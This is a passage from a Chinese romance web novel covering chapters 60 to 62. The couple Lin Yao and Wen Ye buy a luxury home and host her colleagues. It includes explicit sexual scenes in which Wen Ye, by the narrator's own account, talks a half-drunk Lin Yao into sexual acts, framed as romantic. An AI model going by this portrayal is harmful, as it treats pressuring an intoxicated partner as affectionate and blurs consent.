林杳被他抱着往卫生间走,下巴搁在他肩膀上:“怎么付呀?” 闻野先把块浴巾铺到盥洗台上,免得她坐得凉,随后才将怀里的小姑娘小心地放上去。 他给她把牛仔裤和加绒的打底裤脱了,又去脱上身的毛衣。 卫生间的灯没开,卧室一点光透过来,那一身白腻的肌肤在昏暗中仍然晃眼,缀着的两抹艳色像白鸽的喙,颤颤的,翘翘的,好看又可爱。 男人深黯的眸光紧紧地黏上去,隔了这么半天,他才哑声回答她刚才的问题。 “上次杳杳只让我尝了左边,这次是两次的小费,杳杳是不是两边都该让我尝一尝?” 第60章 第六十章 真好吃 林杳顺着他的提问去想了想, 一时觉得有些道理,可她晕乎的脑袋还记得上一次他收她小费的画面,脑袋一偏, 移开和他对望的视线。 才轻轻嗯了一声。 闻野好难才忍着没笑出声, 为了等下的小费, 他这会儿给她洗得格外尽职尽责。 毕竟服务好了,等会儿才有资格收小费。 下午出门前林杳才洗过头的, 今晚闻野就没给她洗了,他拿着淋浴头给她把身上的泡沫都冲掉,又找来条浴巾给她上上下下地擦干净,然后给她套上睡裙。 林杳脚都没挨一下地,就最后抬了两下胳膊,身上就被他帮忙洗得香喷喷的。 闻野伸手把她抱起来,往卧室里走。 天下没有免费的午餐,林杳知道等下自己就要给他付小费了,提前红起来的小脸埋进他颈窝间,闷声提出要求:“房里的灯也要关了。” 闻野脚步一顿,抱着怀里的小姑娘走到门边, 抬起手摁了下开关,啪的一声, 房间倏然间一片黑暗。 闻野又去把窗帘拉开一些, 皎白的月光洒进来, 这才有了些微光亮, 一切看不分明, 但也足够了。 他在床边坐下,她坐在了他腿上,睡裙外女孩儿精致细白的两只小脚悬空垂着, 肌肤瓷白细腻,乌黑的长发还有几分弧度,像海藻散开,唇红齿白,那一双杏眼乌润黑亮,比琉璃还要干净透彻。 像才化形的妖,天真懵懂,又有着与生俱来勾人的本事。 闻野喉结滚动,低哑的声音得寸进尺道:“杳杳不把睡裙撩起来,我怎么收我的小费?” 林杳微微睁大眼,上一回他就是隔着睡衣吃她的,那种程度就已经很让她觉得很奇怪了,今晚他怎么还要更过分啊。 “不然等下这条才换的睡裙又要脱下来重洗,你不觉得这样麻烦吗。”男人有理有据争辩道,“不仅浪费时间,还很浪费水。” 他挑了挑眉,就是欺负小姑娘此刻醉得只有五分清醒,面不改色又无耻至极道:“而且之前你用手帮我,难不成还是隔着裤子的,我都这么大方给你直接碰了,杳杳怎么还对我这么小气?” 林杳被他的话绕了进去,歪着脑袋想了想,好像是他说的这么一回事。 她两只小手迟疑地揪住睡裙一角,慢慢地按照他说的做。 男人呼吸打在她脖颈,一寸寸往下,她脖颈受不住地往后一仰,牵扯出一截纤细柔美的弧线。 之前隔着件睡衣,再怎么都像是隔靴搔痒,这会儿闻野才是真正的吃到了,才一碰触到,他就忍不住发出一声满足的喟叹:“杳杳好甜,像一块奶油味的雪糕。” 林杳耳廓烧起来,这人嘴巴又没闲着,吃就吃,怎么还点评起来了。 “你、你不许说话了。”她颤悠悠的声线嘟囔道。 “行,我专心吃,不说话了。”闻野低低笑着答应,接下来就是用心地埋头品尝。 窗外起风还下起了雨,本来就低的气温又往下降了几度,两人的卧室开着地暖,一点也不受影响,林杳此刻却无比希望外面的冷风能吹进来一些。 太热了,她觉得自己真的就像变成了一块雪糕,被他弄得快要一点点融化了。 “还没有好嘛?”林杳脸颊热得不行,撩着睡裙的手都有些泛酸了,而且已经过了好久,两边都给他尝过了啊。 闻野头没抬一下,甚至动作都不曾停下,嘴里有东西,沙哑的声音变得含糊,语气却是理所当然的:“杳杳,好东西要慢慢品尝。” 林杳:“……” 他又不是安抚期的小孩子了,为什么喜欢吃这个啊? 过了好久好久,她这两次的小费总算付完,闻野得偿所愿地松了口,一双眼眸黑得发亮,还舔了舔唇角:“真好吃。” 林杳:“……” 林杳脸颊通红,装模作样地打了个哈欠:“我好困了,要睡觉了。” 闻野翘起唇角,语气肯定道:“我觉得杳杳现在应该不太能睡得着。” 他意有所指的视线往下,林杳跟着低头看去,他回来后换了条家里穿的灰色睡裤,现在上面有一处洇着水痕,颜色变深了许多。 林杳眨了眨眼,反应过来那是什么,她立刻心虚地狡辩道:“是你刚才给我洗澡时弄上去的水。” “是么。”闻野不置可否地笑了声,骨节修长的手指往裤子那片水痕上蹭了蹭,放到嘴里求证了下,拖腔带调的声音反驳道:“好像不是呢。” 林杳整个人都懵了,震惊地瞪圆了眼,简直不敢相信自己看到的,他怎么还能这样?! 这是也能尝的嘛?!!! “你……”她卡壳了半天,连指责他的话都不知道说什么了。 “这有什么不好意思的。”闻野笑起来,“你是医生啊,应该比我更明白这就是很正常的生理反应,我刚才那样碰你,你要还没一点反应,那我是要很伤心的,恐怕还会忍不住怀疑杳杳是不是喜欢我了。” 他舌尖抵了抵下颚,半点没今晚年会上表现出的那副沉稳持重的模样,又有几分显露出少年时的混不吝了,表情坦荡得没一点难为情的:“不然你看看我,裤子都鼓成什么样了。” 林杳刚才就看到了,因为真的太明显了,她知道男生这样时会很难受,之前闻野一直是去洗冷水澡,后来天气冷了,她舍不得让他这么做,主动提出了帮他弄。 这次也一样,她小声道:“我来用手帮你吧。” 闻野体谅的语气道:“你上次不是说用手累了么,其实除了手,还有其他的方法。” 林杳怔愣了下,不等她问,他就又笑了:“没事,我还能等等,先得让你舒服了。” 林杳垂在半空的脚绷直又难耐地蜷缩,那种撑涨感并不陌生,此刻却比以往更强烈。 她眼睛睁圆了些,后知后觉地意识到他这次的手指又多放了一根。 闻野最能清楚感知到她的紧张,手指停了,低哑的声音哄着她:“杳杳你得学着适应,不然以后我们会很难办。” 两人之间存在着二十多厘米的身高差,自然也有体型差,闻野迟迟忍着没做到那一步,一是期望在一个更正式的时刻,二则是怕贸然弄疼她,让她有不好的体验感。 林杳也想起之前用手给他时都快握不住了,她环抱住他,轻吐出口气慢慢让自己放松。 还得了一句夸奖,跟表扬作业进步的小孩子似的:“杳杳真棒。” 林杳:“……” 更羞耻了- 两人隔了一周就搬进了看好的那套新房,租的和买的感觉就是不一样,林杳布置的兴致格外高涨,购物车好多喜欢的餐盘 和各种挂件统统下单。 闻野每天晚上都拉着个小推车去快递站,一取就是十多个包裹。 坐电梯上去时,闻野遇到个年纪差不多的男人。 闻野对他毫无印象,男人却对他记得很清楚,好几次男人看到闻野和他女朋友牵着手搭电梯,他那女朋友长得真是漂亮,是男的看到都会羡慕。 这会儿,男人看到闻野满满一小推车的快递,心里的羡慕就打了一半的折扣。 最上边的那几个快递盒上有着商品名字,什么赫莲娜黑绷带,海蓝之谜,他一个直男都认得的顶级大牌护肤品,就这两样加起来就上万了。 男人心里一下平衡了不少,看来找个漂亮女朋友也不是那么容易的,钱包也太受罪了。 他女朋友吧,虽然样貌普通点,但至少不会这么花钱如流水,能跟他踏实地居家过日子。 男人对闻野露出个自以为是男人之间心照不宣的表情:“你女朋友可真能花钱啊。” 闻野对这突然的搭讪简直莫名其妙,他脸色冷下来,不耐地拧起眉,看傻逼似的眼神朝他睨去,说的话也毫无客气可言:“花你的钱了?要你在这儿跟我哔哔赖赖的,傻逼吧你。” 天知道他好不容易让小姑娘开了亲密付,每次收到短信时他有多么爽。 电梯门开,闻野也不再看男人气得青白的脸色,拉着小推车走出去,指纹开了门。 林杳听到声音,抱着半个西瓜跑来迎接他。 她舀了一勺瓜喂给他,笑眼弯弯道:“辛苦你帮我拿快递啦。” “就几步路的事,有什么辛苦的。”闻野低头吃下她递来的那勺西瓜,比昨天那家买的甜,明天他还去这家买。 见她拿了剪刀过来,他伸手接过:“你继续吃,我来拆快递。” 林杳便坐在沙发上,捧着西瓜看见他正拆的一个纸盒,咦了一声:“我没买这个牌子的面霜啊,你是不是拿错了呀。” 她皮肤一直挺好的,就一直用的是很普通的牌子。 “是我买的。”闻野把拆出来的一小瓶先搁到茶几上:“我听说这两个牌子是护肤品中最好的,就想买来给你试试,要是合适以后就换成这个。” 他家姑娘,就值得,也应该用最好的。 他继续把其他的包裹都拆开,精致漂亮的磁盘碗具放进橱柜,轻纱窗帘立刻就去装上,还有什么小挂钩,钥匙收纳摆件,都按照小姑娘的意思摆好。 赶在年前,他们还去了几趟宜家和家居馆,桌椅沙发都换成了林杳喜欢的款式。 林杳今年过年有五天年假,闻野陪着她回了一趟英国,沈怡和林钦文早从女儿那里知道了两人重新在一起的事,女儿那么喜欢,闻野如今又是有了发展得很好的事业,夫妻俩当然不会再反对。 新的这一年,闻野出差的次数变多了,因为公司业务不仅只局限于平城,在其他市也接了不少工程。 他一个月至少要出差两趟,短则三五天,长了就是一个多礼拜了,闻野因此对林杳生出愧疚,觉得自己经常不在她身边,作为男朋友给与她的陪伴变少了。 林杳很理解他,她知道他是忙正事,关键是她也并没有产生一点被忽略的感受。 就算他出差,他也是从早到晚给她发消息,每天雷打不动的视频至少一个小时起步,偶尔都忙,平板就开着摆在一旁,她敲论文,他翻看项目审批的文件,谁也不说话,却能在想对方时,彼此心有灵犀地同时抬头对望。 闻野找了个做饭的阿姨,他出差时就让阿姨做饭,但只要他在家,就还是他亲自下厨,小姑娘吃惯了他做的味道,他也喜欢做饭把她喂饱。 闻野经常给林杳点奶茶下午茶什么的,一买就是一个科室的。 林杳正在电脑上给病人开药,外卖的电话打了过来,姜思悦这会儿没病人,自告奋勇地去帮她拿。 拎上来又是整整两大袋,科室众人纷纷围过去。 “哇!是新出的莓莓口味。” “杳杳你男朋友每次给你点奶茶还带上我们,搞得我们都不好意思了。” 晚上林杳跟还在出差的闻野视频,把同事的谢意传达给他:“他们都说谢谢你。” 这点小钱对闻野不算什么,当然他也不是闲得慌,只是成年人都知道吃人嘴软的道理,一点小恩小惠,能让同事们在日常或多或少照顾着小姑娘点,就很值当。 而且他还有一点私心,那就是用这种行为时刻提醒着林杳身边的人,她是有男朋友的,别想着撬他的墙角! 转眼七月份,林杳回国快一年了,也入职了医院快一年,今年医院招进来一批管培生。 其中有个叫林跃的男生,长相最为出众,以前在学校也算是风云人物了,第一天刚来,他一看到林杳,立马就明白那种怦然心动是什么感觉了。 正好,他们俩连小孩以后跟谁姓的问题都不用纠结了。 林跃和姜思悦是一个学校的,有这层关系在,熟起来就快,趁着中午午休,他把姜思悦叫到楼梯间。 “学姐,我问你个事行吗?” 姜思悦对帅气小学弟很有好感,爽快答应道:“你问呗,我一定知无不言。” 林跃试探地问道:“林医生她应该还没有男朋友吧?” 姜思悦眉头一皱,发现这个问题不简单,这不明摆着就是对杳杳有想法上了。 她昨天才吃了林杳男朋友买的下午茶,这一年下来奶茶更是喝了不知道多少杯。 做人得有良心,得知恩图报,不然跟白眼狼有什么区别! 林跃才问了这么一句,正期待着,就见刚还对自己和颜悦色的学姐脸上的笑意都收住,双臂抱起,摆出冷漠又义正辞严的态度—— “你千万别打林医生的主意,人家不仅有男朋友,还和她男朋友恩爱无比情比金坚夫唱妇随,试图破坏他们感情的人那是缺了八辈子德!” 林跃:“……”魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 第六十一章 第61章 第六十一章 我只管得了我家姑娘 林杳是知道闻野的公司赚了不少钱的, 前不久她就在朋友圈刷到彭一凡的晒图,一张迈巴赫的提车照,他单手撑在车前, 拗了个酷帅的造型。 底下就是彭思嘉的评论:醒醒, 就算买了霸总标配车你也没有霸总气质 彭一凡:哦, 本来这个周末还打算开车带你去自驾游的 彭思嘉:我怎么突然在朋友圈刷到这么个大帅哥,谁啊这是, 点开一看原来是我哥嘤嘤嘤嘤嘤简直太有霸总范了 林杳当时看得忍俊不禁,还点了个赞,连跟着闻野做事的彭一凡都赚了这么多,闻野自然不在话下。 但在一天闻野接她下班,两人在外边吃了个晚饭之后他告诉她要去御景湾看房时,林杳还是惊讶到了。 机缘巧合,林杳还真听过这小区名字,姜思悦关注的一个富二代美妆博主就住这里,听她说这是平城最贵的复式大平层。 平城的房价没那么高,但御景湾的房价却直逼京沪深那边,一平米要十五万, 一套下来最少五千万。 姜思悦那会儿还煞有介事地算了笔账:“按我现在的工资,不吃不喝每个月都存着, 也就二百七十年就能拥有一套御景湾的房子, 这么一想人生还是很有盼头的呢。” 林杳倒是没想买这里的房子, 对她来说, 她和闻野现在住的那套就很温馨很舒服了。 而且距离他开公司也就一年半的时间, 就能买五千多万的房子了,这是什么赚钱速度啊?! 闻野当然不只是赚开公司的钱,他一直拿钱投资, 穷的时候赚钱难,真有钱了,只要有精准的眼光和足够的胆魄,赚钱反倒成了一件容易的事。 而这两样偏偏闻野都有,关键是身上还有些做生意的时运,他很会用钱生钱,投资不管多少,都是在赚的。 之前他还给一部业内人不怎么看好,但他觉得很有潜力的动画电影投资,不多,就一百来万吧,前些时那部电 影上映,票房爆了,光靠分成就有两千多万的进账。 闻野对小姑娘的反应好笑又有点无奈:“杳杳,银行卡我不一直放你这儿么,你怎么对家里的财政状况一点都不上心啊。” 林杳被说得有点不好意思,但主要是她平时工资都用不完,还有闻野早就给她开的亲密付,根本没有需要动那张卡的情况,就也一直忘了去查卡上有多少钱。 车开到小区门口,身着职业装的售楼小姐早就等在那儿了,带着他们进去看房。 房价高得令人咋舌,林杳自然是挑不出一处不满意的地方,闻野询问过她的意见后,对售楼小姐道:“就这套吧,签合同吧,全款。” 爽快得让售楼小姐提前准备好的一肚子介绍词又重新咽了回去,她新换的财神爷壁纸果然很管用! 想到即将到手的不菲提成,售楼小姐姐打工人的职业假笑顿时都真情实感了起来:“请问您身份证带了吗,我现在登记完就可以开始办手续了。” 闻野出门前特地拿了,给人递过去,售楼小姐接过看到是女方的,意外了一下,继续伸着手:“先生您的身份证呢?” 林杳这才发现闻野刚递过去的是她的身份证,闻野淡声道:“就写我女朋友的名字。” 一句话让售楼小姐震惊两次,原来是还没结婚呢,这就只写对方的名字了,这是有多爱?? 这一套房子可是整整五千八百万啊,而且他女朋友听到这句话之后,好像只是短暂地愣了一秒,并没有露出多受宠若惊的表情,也没有客气矜持地推辞。 可见男人平时对她的好早就超过了这套房子的价值。 售楼小姐见多了为房子写谁名吵架甚至当场闹掰的,第一次见到这种,她边拿着林杳的身份证登记,边在心里默默思考—— 她现在把手机屏保从财神换成月老,能不能保佑她也找到一款这种绝世好男人啊? 之后没多久,在一次开会前的闲聊之中,姜思悦知道了她搬家的事,很不解道:“杳杳你之前住的地方多好啊,离医院走路都只要几分钟,每天中午还能回去睡午觉,怎么搬家了呢?” 林杳小声地跟她解释:“因为现在的房子只有一室一厅,以后结婚了就不够住了。” 谈了一年半,她觉得闻野应该也快要跟她求婚了,另外之前的那套房子也是按他说的那样,继续留着,她每天还是能够过去午睡。 “噢。”姜思悦拉长了语调,笑得贼兮兮的:“原来是买婚房了啊。” 她音量不算小,会议室其他人纷纷惊讶地看了过来。 “杳杳你要结婚了啊?” “什么时候的事啊,怎么都没通知我?” 林杳脸颊微红,忙澄清道:“还没有要结婚,只是先把房子买了。” “房子买哪儿了啊?”一男同事问道。 “御景湾。” 姜思悦啊了一声,最先反应过来:“就是那个五千万起步,我用工资不吃不喝两百多年才能买得起的那个小区嘛?” 其他人被这么一提醒,也想起来了,御景湾别号叫富人湾,是平城真正有钱人才住得起的地,同事们都知道林杳的男朋友就是之前“一点半”酒吧的老板,后来又去开公司了,应该是有些钱的,没想到这么有啊! 姜思悦眼巴巴地看着林杳:“好想近距离看看豪宅长什么样。” 林杳想了想道:“今天下班大家要是有空,一起去我家吃个饭吧。” 苏远洲很积极道:“那必须去啊!乔迁之喜,我们都得祝贺。” 另一女同事玩笑道:“我今晚推了和男朋友约会也要过去,这种豪宅,说不定还能在搭电梯时碰到哪个明星呢。” 邓主任走进来,大家坐好开每周一的例会,开完了后林杳拿手机给闻野发消息:【我邀请了同事今晚来我们家吃饭】 很快收到回复:【问问你同事们想吃什么,我下午早点走,去把菜先买着】 往会议室外走的时候,林杳问了同事,大家哪好意思让身价上亿的大老板给他们洗菜做饭啊,连忙说不用这么麻烦,点个外卖就行。 今天下班了之后大家一起坐电梯走的,有好几个医生是开了车的,一个车里能带三个,最后还剩姜思悦和另一个叫徐菁菁的护士,她们俩就去搭林杳男朋友的车。 姜思悦对闻野的印象还停留在他开酒吧时,时常是纯黑t恤加休闲牛仔裤,他的身材和脸让那身随性简单的打扮也又帅又有型。 而今天上午因为闻野有会议要开,他穿的是正式的衬衣西裤。 男人半倚靠在黑色大G前。 下午天气有些热了,他白衬衣的扣子解开了两颗,露出深深凹陷,两截线条坚实硬朗的锁骨,剪裁得当的西装裤勾勒出笔直的长腿。 还习惯性地用左手捏着手机,袖口外的手腕冷白,微隆着青筋,性感和禁欲两种矛盾得截然相反的特征此刻融合得相得益彰。 姜思悦第一次见闻野这样的穿着,下意识咽了咽口水:“杳杳你男朋友穿西装更帅了,你也太有福气了吧。” 林杳很认同她的话,哪怕见过很多次了,每回她还是能被帅得心跳加速。 闻野似听到了小姑娘的名字,撩起眼皮看过去,随即几大步朝人走去。 “你们好。”他对着林杳的两位同事打了声招呼,就几步路,也要牵着小姑娘的收走到车前。 他先拉开副驾驶的门,又绅士地替那俩女生拉开了后车坐的门。 坐上车后,闻野弯了弯身,给林杳把安全带系上,这已经是两人之间习惯成自然的小举动,落在后座的姜思悦和徐菁菁眼里,却觉得甜得不行。 御景湾离医院不是很远,半个多小时的车程,闻野先到的,在小区门口等着另几位开车的同事过来,才一起把车开进去。 大半个科室的人都来了,但客厅够宽敞,十几号人都坐得很开,不显得一点拥挤。 闻野把客厅墙上一百寸的大电视打开,拿出几副游戏手柄,调到了游戏界面:“做饭还要一会儿,茶几上的水果和点心你们先吃。” 茶几上摆满了洗好的樱桃,琵琶,还有瑞士卷和各种精致的小蛋糕,可见是为了招待他们费了心思的。 几个结了婚,年纪稍长的女同事则看得更深远,这可不仅是对他们用心,分明是深爱着林杳的表现。 男人喜欢你时会愿意对你好,只有深深爱着你时,才会连你身边的人也在意起来。 姜思悦一进来就被阳台超大的落地窗吸引了,落日的余晖和波光粼粼的江面相互映照,江上还有来往行驶的小船,美得像一幅油画。 “杳杳你家的阳台好漂亮啊,我能去拍几张照吗?” “没问题呀。” 姜思悦立刻兴冲冲地跑到阳台,还有几个女同事也跟了过去,一起举着手机很欢乐地自拍。 林杳见其他同事玩起游戏,走进厨房要给他帮忙,平时闻野是不让她进厨房的,但今天人这么多,她觉得他会忙不过来。 结果发现他准备工作回来之前都做好了,菜都提前洗了也切了,没她能插得上手的地方。 “杳杳帮我把围裙系上。” 林杳取下挂着的深色围裙,他朝她低了低头,她给他挂上脖子,在后面系了个活结。 “还有什么要我帮忙的吗?”她仰脸问他。 “够了。”闻野笑着揉揉她脑袋:“杳杳出去陪同事坐着说话吧,这里就交给我了。” 除去买的五道熟食,剩下的七道菜都是闻野做的,还熬了个汤,一道道色香味俱全的菜端出来,在场女同事越发觉得林杳命好了,找的男朋友能赚钱买豪宅,还能下厨做饭,人还长得巨帅,简直buff叠满了。 苏远洲则越来越觉得他那好兄弟陈澍予当初追不到林杳还真不冤,他是很优秀,但人家男朋友可以说是完美得能打一百分了。 客厅有张三米多长的大理石餐桌,平时林杳和闻野不会用,今天人多,椅子稍微挨紧一点刚好能坐下。 “手艺不好,大家将就着吃。”闻野谦虚道。 “哪有哪有,这太丰盛了。” 姜思悦看见闻野给林杳盛了鸡汤之后又拿勺子给她把葱都撇出来了,觉得奇怪:“杳杳我记得你是吃葱的啊?” “我喜欢葱的香味,但不喜欢吃到葱,不过有时懒得弄,就直接吃进去了。” 林杳解释完,闻野就把一碗葱花撇得干干净净的鸡汤放到了她跟前,一点也没觉得这个习惯有多矫情或 者麻烦。 八点多钟吃完,林杳跟闻野一起送他们出去,开车的把顺路的同事稍上,姜思悦和徐菁菁拼了辆车,林杳陪着她们一起等车来。 “今晚谢谢你了杳杳。”徐菁菁发完一条消息,突然抬起头对林杳感激道。 林杳以为她是谢她这顿饭,连忙摆了摆手说不用客气,就听她又道:“其实我这些天一直很纠结,我妈给我找了各方面条件都不错的一个相亲对象,我们不论是家庭条件还是学历都挺合适的,就是彼此没那么喜欢,我说过好几次我不爱吃辣的,他还一直约我去吃火锅。” “我已经三十岁了,我妈一直说再拖下去就真的嫁不出去了,我本来想着要不就凑合着试试,但今天看到你跟你男朋友相处的样子,我顿时就懂了网上那句话,日子怎么可能和谁过都一样啊。” 徐菁菁释然地笑起来:“还是相互喜欢,过起来才有意思,所以刚才,我发消息和那对象说清楚了。” “菁菁你做得对啊!”姜思悦十分赞同地点头,“我就宁愿一辈子单身,也绝对不会将就的,不然太亏待自己了。而且现在三十岁一点都不大啊。” 叫的出租车来了,姜思悦拿着手机确认了车牌号后和徐菁菁坐上去,林杳挥手和她们说了再见。 她转过头,在不远处找到闻野的身影。 他弯着身,在一个推着车的小贩那里正挑着什么,昏黄路灯下的侧脸轮廓锋利又硬朗。 林杳一看到他,心里就盈满很踏实的感觉,她朝他走过去,闻野直起身,拿手机扫码付了十块钱,然后从小贩手里接过装了茭白的塑料袋。 他另只手牵起她的,十指扣着:“才上市的,我看很新鲜,明天给你做茭白炒肉。” “好呀。”林杳弯着眼高兴地应下,又揉揉肚子:“今晚你做的好吃的太多了,我吃得肚子有点撑了。” 闻野勾了勾唇:“那我们去江边散散步,消消食。” 沿途的花开了不少,晚风暖暖的,满是春的气息,江边好些十六七岁的男生玩滑板溜冰,也有不少来约会的小情侣。 林杳看到有个流动的雪糕售卖车,眼睛亮了亮,才一偏头看向闻野,还没说什么,男人就斩钉截铁道:“不行。” 林杳扁了扁嘴。 闻野好笑地提醒着她:“你刚不还说肚子吃撑了吗?” “吃饭的那个胃撑了,但吃零食的胃还是空着的。”她狡辩道。 “那也不行。”闻野被她的强词夺理逗乐了,忍着没笑,“现在才多少度啊,等天气到了三十度才能吃冰淇淋。” 隔了快一年没吃,林杳这会儿就是特别想吃,她眨巴着眼,抓着他手指晃啊晃,软软的语调撒娇道:“你看好多女生有男朋友给买冰淇淋,我也可以吃的。” 闻野心里软得不行,面上却不为所动,依然不松口:“我管不了别人的女朋友,我只管得了我家的姑娘。” 林杳:“哼。” 闻野:“哼哼也没用。” 林杳被他还学自己讲话气到了,小脸鼓起来,幼稚地跟他拌嘴:“你讨厌。” “嗯,我讨厌。”闻野顺从地应和,伸手指轻轻戳了下她软嫩的脸颊:“我女朋友真可爱。” 林杳:“……” 回家之后林杳去洗澡,把面霜和身体乳擦了走出卫生间,卧室里没见到闻野,又去隔壁书房瞧了瞧,还是没他的人影。 她下楼梯,走到一半就嗅到从厨房传来的一股甜滋滋的香味。 她站在门边,半个脑袋探进去看,就见男人关了火,从锅里盛出一小盘刚做好的拔丝苹果。 她眨了眨眼:“你怎么大晚上做这个呀?” 闻野拿了个小叉子,戳了一个走到她面前,弯着唇角递给她:“不是说吃零食的胃还是空着的么,呐,吃吧。” 林杳没想到自己胡扯的话他还这么放在心上,脸微红地伸手接过,又听他提醒:“还有点烫,慢点。” “噢。”她边吹气边小口小口吃着,甜滋滋的,心里也是。 闻野低眸瞧着她,抬起手拿指腹轻轻蹭掉她唇角粘着的糖丝,好好商量,又带着哄的语气道:“杳杳忍到五月份,我就去批发一车的冰淇淋,把你喜欢的所有口味全都买回来,把冰箱塞满,行吧。”魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 第六十二章 第62章 第六十二章 闻闻有没有奶香味 平城进入五月就直接是盛夏的温度了。 卧室窗帘紧拉着, 遮光性极好的窗帘挡住了外边猛烈的阳光,林杳这个午觉睡得很好,直到一点半的手机闹铃响起, 才慢悠悠转醒。 下午两点上班, 从这个家走过去只要五分钟, 她不紧不慢地换衣服,又去卫生间洗了把脸, 彻底清醒之后跑到客厅,拉开冰箱门。 闻野说话算数,一到五月份就去给她批发了好多冰淇淋,两个家里的冰箱都塞得满满当当的。 林杳挑出个蓝莓味的巧乐兹,撑着伞边吃边往医院走,舌尖融化的冰凉刚好抵消这一路炙热的高温,到了科室,刚好吃完。 她把棍子扔进垃圾桶,换上白大褂坐着等上班,手机这时响了,林杳拿出来看, 彭思嘉给她发来了一张照片。 她点开放大。 看背景是电视台的录播室,闻野站得身姿笔挺, 白衬衣黑西裤, 扣子都一丝不苟地系到最上面这颗, 筋骨修长的手里拿着一沓纸张, 正低眸看着纸上的内容。 他旁边, 隔着些远的距离站着个穿米白色西装裙的女人,看打扮应该是主持人。 林杳早上被闻野送来上班的路上就听他说了,他今天要去地方台录个采访, 彭思嘉会拍下这张照片也不奇怪,她从大学毕业就是一直在这个台里做编导。 就是她接下来的消息让林杳有点不明白。 彭思嘉:【男德满分,给你男朋友点赞】 林杳回了一个小猫咪疑惑的表情包过去 ,彭思嘉打字速度飞快,手机滴滴答答地响个不停,林杳上一条还没看完,她下一条又发来了。 彭思嘉:【这就是我总给你吐槽的女主持,刚站一块儿跟闻野核对采访流程时完全突破了正常社交距离,整个人都恨不得要贴上到闻野身上去了,闻野立马像避瘟神一样跟她隔开了好远的距离】 彭思嘉:【还说别跟他站太近,不然他身上沾到了香水味,女朋友闻到了会不高兴】 彭思嘉:【那女主持人听完就茶里茶气地内涵你,说闻总你女朋友对你管得也太严了呀,简直像是看犯人一样】 彭思嘉:【杳杳你知道闻野回了她句什么嘛?】 林杳:【不知道啊】 林杳的好奇心被勾了起来,一眨不眨地盯着手机屏幕,很快看见弹出的新消息。 彭思嘉:【闻野他说,我求之不得,还是那种骄傲幸福又满足的语气,简直不要太苏啊啊啊!】 林杳唇角忍不住上翘了翘。 彭思嘉:【我都能想象那女主持心里有多气,面上还要保持礼貌又不失尴尬的微笑哈哈哈哈哈哈哈】 彭思嘉:【不过杳杳你还是多上点心,就闻野那张脸和身材,之前开酒吧都很抢手,一堆女的往他跟前凑。现在他赚的钱那么多,想像我们这女主持一样勾他的人就更多了,当然闻野他人品肯定是没问题的,但男人有钱就变坏,这句老话流传了这么多年,肯定还是有一定道理的啊】 彭思嘉:【所以杳杳你以后跟闻野结婚了,一定要掌握住家里的经济大权,这样男人在外边才不敢乱来】 林杳知道彭思嘉好心为她着想才这么说,实话告诉她:【不用等结婚以后,现在已经是我管了,他公司的股份都转给我了】 她其实很相信闻野,也并不在乎这些,倒是闻野非哄着她签字。 彭思嘉:【果然,我操心闻野对你不好就是多此一举,无话可说,只有祝99了。不过杳杳你们到底什么时候结婚,我还等着穿漂亮的礼裙当你的 伴娘呢】 手机上方的时间跳到两点整,林杳赶紧回了一个“我也不知道”,她把手机揣进衣兜,专心投入到下午的工作中。 连着看了好几个病人,短暂喝水的间隙,她又想起彭思嘉的问题。 她心跳得快了快,猜测闻野很大可能是明年情人节跟她求婚。 因为那天是他们真正第一次见到的日子,他之前“一点半”酒吧就是按两人遇见的时间取的名字,所以这天对他来说,应该会比其他的节日更有纪念意义吧。 晚上下班还是闻野来接她。 林杳坐上副驾驶,在他伸手过来给她扣安全带时,她装模作样地耸了耸鼻子,故意露着不高兴的表情:“你胳膊上怎么有香水味呀?” 闻野动作倏地一顿,连忙飞快解释:“我不是跟你说过下午有个采访的节目么,那女主持人身上的香水味喷得多,跟我站一块儿说流程时可能不小心味道蹭了过来,但我马上跟她站远了。” 男人一向镇定自若的脸上出现少见的慌乱,生怕小姑娘因此误会或者生气。 林杳板着小脸看他,不到五秒就没忍住破功,噗嗤一声笑出来:“我都知道,思嘉都跟我说了,我刚就是想逗逗你。” 谁让他之前总是在欺负她的时候说那些乱七八糟的话,惹得她面红耳赤还毫无还击的办法,这下她也扳回一局了。 闻野给气笑了,看着小姑娘得意洋洋的眉眼,又没了脾气:“我刚才心脏都快给你吓停了,知道不?” “哪有那么夸张呀。”林杳睫毛眨了下,这话说得好像她多凶悍似的。 “一点不夸张,你就是我的小祖宗,小祖宗要是生气了,我能不怕。”闻野骨感修长手指轻轻捏着她下巴,强制地掰到自己这边:“不能就这么算了,你得给我补偿精神损失费。” “咔哒”一声,刚扣上的安全带又被解开了,林杳被他一拽又一抱,还没怎么反应过来,就跨坐到了他的腿上。 他吻了上来,舌头撬开她齿关,先是轻轻地舔又是霸道地吮咬,车里水声暧昧,令人止不住地脸红心跳。 两人亲过不知道多少次,甚至比这更亲密的事也做过了一些,可头一回在外边,光天化日的在车里,还是她工作的医院旁边。 从车窗能看到外边路过的行人。 同事下班经过,也很容易看到他们这一辆车,哪怕车窗贴了防窥膜,可别人看到车停在原地这么久不动,不知道会不会觉得奇怪。 而且还不知道这窗户隔不隔音。 “这种时候,杳杳还能分心啊?”男人声音发哑,语气略不满,粗砺发烫的指腹稍稍用力捻了捻,似是唤回她注意,更像是在惩罚。 立刻就有酥麻的电流从那处蔓延至全身,林杳无意识地嘤了一声,剩下还未发出的声音尽数被他吞了下去。 她羞赧得满脸通红,不得不把全部心神转移到他这儿,专心地配合着。 然后迎来男人在她唇舌间更肆虐的掠夺,她被亲到浑身软绵,意乱情迷,上衣皱巴得不成样子。 直到车窗外夕阳偏斜,橘色的余晖洒下来,掐着她腰的那只大掌才从松开,移至后背给她轻拍着顺气。 “还……还有只手呢。”她过分嫣红的唇瓣张了张,气息不稳地提醒。 “太软了,摸着好舒服,舍不得拿出来。”闻野笑得痞坏,迎来小姑娘一记凶巴巴的瞪眼,骨节分明的手指才从温软柔腻处离开。 他手伸到她后边,单手就给她把搭扣扣好,又调整了下歪歪扭扭的肩带。 那只手终于从她衣服里拿了出来,又放到了她的鼻尖之下。 林杳脑子还迷糊着,弥漫着水雾的大眼睛有些懵:“你干嘛呀?” 闻野唇角勾了勾,磁沉的笑从嗓子里荡出来:“杳杳的小鼻子那么灵,现在闻一闻呗,我手上有没有奶香味。” 林杳:“……” 好气哦,在耍流氓这件事上,她根本就永远赢不了他!- 转眼到七月,林杳即将迎来自己二十八岁的生日,这些天闻野一直在沪城出差,她不知道17号那天他的事都处理完了没有。 晚上两人通话时,她刚洗完了澡,坐在阳台闻野给她装的秋千上。 